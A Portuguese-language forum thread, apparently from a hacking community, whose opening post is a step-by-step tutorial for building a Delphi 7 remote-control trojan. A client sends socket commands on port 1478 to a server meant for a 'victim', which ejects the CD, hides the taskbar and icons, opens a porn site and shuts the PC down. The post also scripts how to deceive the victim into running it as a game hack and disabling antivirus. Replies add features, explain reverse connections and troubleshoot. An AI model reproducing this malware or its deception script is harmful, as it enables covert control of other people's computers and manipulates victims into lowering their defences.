Como criar um Trojan com mais funções [Delphi 7]

[SsLuP 0]

Antes de mais nada, Tudo que esta aqui não é Ctrl + c mais Ctrl + V :)

Eu que fiz tudo !!

 

Requerimentos :

 

- Conhecimento Basico em Delphi 7

 

 

Ok vamos ao trabalho!!

 

 

 

Abra o Delphi e inicie um novo projeto

Agora nós teremos que adicionar uma coisinha ao Delphi

(ServerSocket , ClientSocket)

 

Para adicionar esse 2 você vai ter que ir em Component e clicar em Install Packages

 

Print :

 

Depois Clique em add

 

Print :

 

 

Depois procure a pasta do seu Delphi é mais facil você clicar em "Um nivel acima" Depois que clicar la abra a pasta "bin" que aparecera ao lado

 

 

Depois que abrir a pasta clique em "dclsockets70" e abre ele =)

 

Print

 

 

Ok agora ja esta tudo Pronto!

 

Na abra Standard adicione

 

- 1 Edit = Apague o que esta escrito nele

- 1 Label = Apague o que esta escrito nele

- 2 Buttons = Conectar, Desconectar

 

E na aba Internet Adicione um Client Socket!

 

Clique no Client Socker E vamos configurar ele

 

Clique uma vez no ClientSocket

 

Em object Inspector Tem "Port" Mude a port para 1478

 

Depois clique em "Events" e em

 

OnConect Coloque isso

 

Label1.caption:='Conectado';

 

Em OnConecting Coloque isso

 

label1.caption:='Conctando...';

 

Em OnDisconect coloque isso

 

Label1.Caption:='Desconectado!';

 

Em OnError coloque isso

 

label1.Caption:='Erro!! Tente novamente';

 

 

Pronto agora vamos mecher nos Buttons

 

Clique 2 Veses no botao "Conectar" e coloque isso

ClientSocket1.Address:=edit1.text;

ClientSocket1.Active:=true;

 

Agora Clique 2 Veses no botão "Desconectar e coloque isso

ClientSocket1.Active:= false;

 

 

Agora adicione 10 Botões e renomeie um para

 

Abrir CD

Fechar CD

Esconder icones da area de trabalho

Mostrar icones da area de trabalho

Esconder Iniciar

Mostrar iniciar

Esconder barrra de tarefas

Mostrar barra de tarefas

Abrir Firefox com o site do Tube8

Desligar o pc

 

 

Clique duas veses no Abrir CD e coloque isso

 

ClientSocket1.Socket.SendText('abrecd') ;

 

Clique Duas veses no Fechar cd e coloque isso

 

ClientSocket1.Socket.SendText('fecharcd') ;

 

Clique duas veses no Esconder icones da area de trabalho e coloque isso

 

ClientSocket1.Socket.SendText('escondericones') ;

 

Clique duas veses no Mostrar icones da area de trabalho e coloque isso

 

ClientSocket1.Socket.SendText('mostraricones') ;

 

Clique duas veses no Esconder Iniciar e coloque isso

 

ClientSocket1.Socket.SendText('esconderiniciar') ;

 

Clique duas veses no Mostrar Iniciar e coloque isso

 

ClientSocket1.Socket.SendText('mostrariniciar') ;

 

Clique duas veses no Esconder barrra de tarefas e coloque isso

 

ClientSocket1.Socket.SendText('esconderbarra') ;

 

Clique duas veses no Mostrar barra de tarefas e coloque isso

 

ClientSocket1.Socket.SendText('mostrarbarra') ;

 

Clique duas veses no "Abrir firefox no site do Tube8" e coloque isso

 

ClientSocket1.Socket.SendText('sitetube8') ;

 

Clique duas veses no "Desligar pc" e coloque isso

 

ClientSocket1.Socket.SendText('desligarpc') ;

 

 

Pronto Programa feito!! agora clique em

 

File, Save All

 

Crie uma pasta no seu desktop chamada Trojan depois entre nessa pasta e crie otra chamada Cliente e salve la. Depois de salvar aperte F9 e depois pode fechar tudo.

 

Print do meu trojan

 

 

Etapa 2

 

Abra denovo o Delphi e inicie um Projeto

 

Esse Programa que nos faremos agora servira para você mandar para a vitima

 

Depois de iniciar um Projeto va na aba "internet" e coloque um ServerSocket

 

La do lado em Port Coloque 1478

e active se muda pra True

 

Clique na aba "Event".

 

De duplo click no OnClientRead

 

De baixo do begin coloque isso

if Socket.ReceiveText='abrecd' then begin

MciSendString('Set CdAudio Door Open',nil,0,Handle) ;

end;

if Socket.ReceiveText='fecharcd' then begin

MciSendString('Set CdAudio Door Closed',nil,0,Handle);

end;

if Socket.ReceiveText='escondericones' then begin

ShowWindow(FindWindow('progman',nil),0);

end;

if Socket.ReceiveText='mostraricones' then begin

ShowWindow(FindWindow('progman',nil),1);

end;

if Socket.ReceiveText='esconderiniciar' then begin

ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);

end;

if Socket.ReceiveText='mostrariniciar' then begin

ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),1);

end;

if Socket.ReceiveText='esconderbarra' then begin

ShowWindow(FindWindow('shell_traywnd',nil),0);

end;

if Socket.ReceiveText='mostrarbarra' then begin

ShowWindow(FindWindow('shell_traywnd',nil),1);

end;

if Socket.ReceiveText='sitetube8' then begin

WinExec('c:/arquivos de programas/mozilla firefox/firefox.exe http//www.tube8.comF', SW_SHOW);

end;

if Socket.ReceiveText='desligarpc' then begin

WinExec('cmd /C shutdown -s -t 03', SW_SHOW);

end;

 

 

Depois suba la em cima nos uses e adicione MMSystem

ficando assim

 

uses

Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,

Dialogs, ScktComp, MMSystem;

 

 

Agora salve tudo na pasta Vitima que eu mandei criar e aperte F9 para compilar!!

 

Enganando a vitima!!!

 

Chega pra vitima e fale

 

- Ou se vil o Novo hack que lanço ???

ele serve para GB Para Grand Chase Pra Combat Arms pra Panguia pra Ragnarok e para um monte de jogos!!!!!!

 

Mais tem um problema o antivirus detecta como um virus mais é inofencivo!!

(e fala pra ele desativa o ant virus)

 

ai dps o cara consertesa vai aceita e vc manda o download

 

Manda ele abri o programa e va no seu Programa o primeiro que criamos e clique em conect ai é so zua ele xD

 

OBS : No edit que você criou é so colocar o numero da port que o seu no caso é 1478

 

 

 

TUTORIAL INTEIRO BY

 

SsLuP

 

Se quiser Clique Em AGRADECER Pois deu um trabalho danado !!!!

 

 

 

 

 

 

_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-

 

 

Source para os que não conseguiram fazer

 

 

É necessário se cadastrar para acessar o conteúdo.

• Entre
• ou
• Cadastre-se

 

_______________________________

 

Editado 30/04/09

[Kυrt 0]

Já vi vários tutoriais como esse na net, é bem legal e simples também. Qualquer um pode fazer, mesmo não sacando muito de delphi :)

Vlw por compartilhar :)

[Yugi_xD 0]

Tbm Ja Vi Esse Tutorial Em Outro Forum Mais Valeu A Intenção

[SsLuP 0]

tbm ja vi esse tutorial em outro forum mais valeu a intenção

 

meu deus esse aqui foi 100% feito por mim!!!!!!

[suzukiuchiha 0]

nuss..legal kara nunka tinha visto..

vo fazeh com meu primo isso..vo zua mt ele...

vlw..

[CheaterMX 10]

Otimo Tópico,

 

Como o Kurt Disse, nem Precisa Saber Muito pra Fazer, Apenas Declara Variavel e Uns Code de Socket que o Delphi Mesmo que Reproduz.

 

Alias o Codigo é Basico, e Pouca Linha de Código :]

 

Abraços.

 

CheaterMX

[Felipexg 2]

Obrigado por compartilhar Sslup!

 

Seguinte pessoal,sei que muitos viram tutoriais iguais,isso é porque o método de se fazer é igual,mais vai de explicação para explicação e no caso está bem explicado.

 

Como Comentado acima que qualquer um sem ter um conhecimento pode fazer,é verdade até certo ponto,a pessoa pode até fazer,mais entender vai do conhecimento da cada pessoa...

 

:cool:

[SsLuP 0]

Obrigado por compartilhar Sslup!

 

Seguinte pessoal,sei que muitos viram tutoriais iguais,isso é porque o método de se fazer é igual,mais vai de explicação para explicação e no caso está bem explicado.

 

Como Comentado acima que qualquer um sem ter um conhecimento pode fazer,é verdade até certo ponto,a pessoa pode até fazer,mais entender vai do conhecimento da cada pessoa...

 

:cool:

Brigadu =)

[Felipexg 2]

Só para Completar,nosso amigo Sslup fez o tutorial e está ótimo,mais vou explicar para aqueles que não entenderam como funciona exatamente.

o Socket é um componente que dentro dele existe o Cliente e o Servidor,essa conexão é feita pelo IP e pela Port do Computador,a conexão mais básica é onde o Cliente conecta com o servidor e mantém uma conexão enviando dados.

Existe a conexão reversa que é quando o Servidor Conecta com o Cliente,essa conexão é a mais utilizada por trojans,no caso a explicada é a comum,o único problema da comum é que você precisa do Ip da VITIMA e já na reversa a vitima vai conectar com você.

 

Blz,essa é a base da conexão entre sockets,logicamente os estamos falando de conexões para Trojan,o socket tem muitas outras funções,você pode por exemplo efetuar download de um site com o socket não necessitando de Cliente e servidor.

Agora vou Falar de como Funciona a comunicação entre eles.

Como vocês notaram o Cliente usa para se comunicar a seguinte função:

 

ClientSocket1.Socket.SendText('FUNCAO') ;

Ex: ClientSocket1.Socket.SendText('escondericones') ;

 

Ou seja,o Clientesocket vai enviar um Texto com a função,no exemplo acima ele vai enviar a frase "esconder ícones",lembrando que ele só vai enviar se tiver uma conexão com o servidor.

Agora para o servidor receber um determinado nome nos temos uma operação Lógica que é a seguinte:

 

if Socket.ReceiveText='esconderiniciar' then begin

ShowWindow(FindWindowEx (FindWindow('shell_traywnd', nil),0,'Button',nil),0);

Basicamente a mesma coisa,note que no cliente nos usamos a expressão "Send" e o servidor utilizamos a "Receive" (V.Receber),ou seja,se receber essa função ele vai executar uma determinada ação,no exemplo vai esconder os ícones do desktop.

 

Nos podemos por exemplo adicionar diversas funções,vamos por exemplo enviar uma mensagem qualquer para a vitima,no nosso cliente colocamos: ( num botão qualquer )

 

ClientSocket1.Socket.SendText('Ativarmensagem') ;

 

E no servidor abaixo da ultima função:

 

if Socket.ReceiveText='Ativarmensagem' then begin

showmessage(‘Erro!’); end;

 

Assim,você pode alterar qualquer coisa do seu Trojan,qualquer duvida tire nesse tópico,assim eu e o Sslup poderemos ajudar.:cool:

[SsLuP 0]

Editado

 

 

30/04/09

[rcosta98 0]

Meu, naum ta dando eu crio , mas cliko em esconder icones e naum acontece nada, lembrando, eu naum sou tao idiota a ponto de naum conectar primeiro, mas naum da certo, o unico q da éh o abrir cd......

Help-me:d

 

:D

[#Guto 0]

Meu, naum ta dando eu crio , mas cliko em esconder icones e naum acontece nada, lembrando, eu naum sou tao idiota a ponto de naum conectar primeiro, mas naum da certo, o unico q da éh o abrir cd......

Help-me:d

 

:D

 

Quando você clica F9 o client abre como um programa normal ou aparece o codigo com uma linha destacada?(provavelmente em vermelho)

caso inicie normalmente tente re-fazer o trojan(desde o inicio)

caso apareça essa linha destacada tente achar o erro comparando com o codigo passado no post...

 

após arrumar clique F9 novamente e repita o processo até que o client inicie normalmente.

depois disso salve (save all) numa pasta que preferir e depois va em 'project' > 'compile project1'

 

agora faça o mesmo processo com o server...procure erros na programação (F9) e depois disso salve numa pasta de sua preferencia e depois 'compile project1'

Obs. recomendo fazer uma pasta 'trojan' e dentro dela as pastas 'client' e 'server' entam salvar cada um em suas respectivas pastas

 

após tudo isso va e abra o client e depois o server, no conect coloque o ip 127.0.0.1(o trojan intendera q é para fazer efeito em seu computador) e clique para conectar entam tente as funçoes novamente...(deveram ter efeito em seu pc)

 

caso não funcione precisa ser analisado o tutorial

 

certifique-se de estar abrindo o client, o server e inserindo o ip corretamente...(o alvo tambem deve abrir o server ou não sera possivel invadi-lo)

[Felipexg 2]

Meu, naum ta dando eu crio , mas cliko em esconder icones e naum acontece nada, lembrando, eu naum sou tao idiota a ponto de naum conectar primeiro, mas naum da certo, o unico q da éh o abrir cd......

Help-me:d

 

:D

 

 

Verifique sua Função o erro pode estar nela,se outras estiverem Funcionando é claro.

Ou se não verifique se você não está utilizando uma Função para um sistema operacional diferente. ( Windows Vista pode dar problemas com algumas Funções. )

[CheaterMX 10]

Esse código ai não é básico nao em...

 

Todo Código que necessita de instalação de componentes não é básico

 

apesar de ser poucas linhas de código

 

Abraços,

 

CheaterMX

[Felipexg 2]

Esse código ai não é básico nao em...

 

Todo Código que necessita de instalação de componentes não é básico

 

apesar de ser poucas linhas de código

 

Abraços,

 

CheaterMX

 

A Função é Básica sim, o componente é padrão na área de conexão, no próprio Help do Delphi existe uma área para ele.

 

Nesse caso é necessário Instalar, pois a Borland Foi vendida antes mesmo de terminar o Pack de Atualização.

 

Componentes que são criados por usuário podem ser considerados básicos, pois somente aqueles que baixam e aprendem sabem utilizar o que não acontece no Delphi que é um componente antigo usado na versão 5.0 ( e superior )

[#Guto 0]

Esse código ai não é básico nao em...

 

Todo Código que necessita de instalação de componentes não é básico

 

apesar de ser poucas linhas de código

 

Abraços,

 

CheaterMX

 

sim, é basico pois além de ser uma tarefa 'facil' ele explica exatamente como faze-la...

 

Meu, naum ta dando eu crio , mas cliko em esconder icones e naum acontece nada, lembrando, eu naum sou tao idiota a ponto de naum conectar primeiro, mas naum da certo, o unico q da éh o abrir cd......

Help-me:d

 

 

conseguil resolver o problema???

 

 

um grande abraço a tds...

[Duencao 0]

éé felipexg dah mais uma aprofundada no assunto ai ou passa um tuto explicando detalhadamente o funcionamento do componente...

 

tipo ñ quero o conhecimento para trojan em si mais, vo tenta usa eli pra faze um pequeno jogo via net que o fessor do meu curso pediu pra eu faze..quero da uma impressionada neli e faze via net..rs

 

o jogo que ele me pediu é um de damas pra faze no delphi msm....

oq eu pretendo faze é dois forms um em cada pc com o msm tabuleiro e mexendo so 1 jogada por vez....

 

pensando no jogo em si me falaram pra eu usar o delphix pra criação ....mais como eu nunca mexi neli e to com preguiça de aprende - coisa q eu vo faze - tava pensando em faze assim :

 

1º ideia ou uma imagem no fundo como tabuleiro + varias peças/imagens em cima desta imagem em todas as casas e pra jogada eu brinco deixando as peças visible e trocando a cor e depois do um geito de faze uma rotina pra verificar se a jogada é valida...

 

ou coloco uma grande matriz como tabuleiro +- com o msm esquema..rs

 

dai queria sua opinião se é uma boa idéia ou é idiotia rs

e se eu posso usa o socket

 

flwwwwwwwwwwwwwwwww se tive meio confuso eu esplico melhor XD

modera sorry se estou revivendo o topiko..rs mais é que eu tinha q pergunta...

[Kuptus 0]

Agradecimentos para este curso. Mee gosta demasiado de programar com Delphi.

[caiop99 0]

Grande Explicação.Como vc poe o nome ex :trojan by eu...?? me ensina??@topic EXELENTEE !

[SsLuP 0]

Clica no Form ( Somente no form nao em butons nem nada ) e la em baxo em "Object Inspector" procure por Caption ai apague o Form1 e coloque o nome

[caiop99 0]

Ow..vlw Jah tah marcado começar com o Windows?? ;D

[SsLuP 0]

Nops.

[picui 0]

vc consegueria colocar todas aquelas funções do prorat

[MRs.Romanha 5]

@SsLuP

 

Punido por Flood

[Manocelo1997 0]

Boa Amigo aqui funfo direitin só fiz uma preview porque não min interessei em fazer um desses mais só fiz uma parte :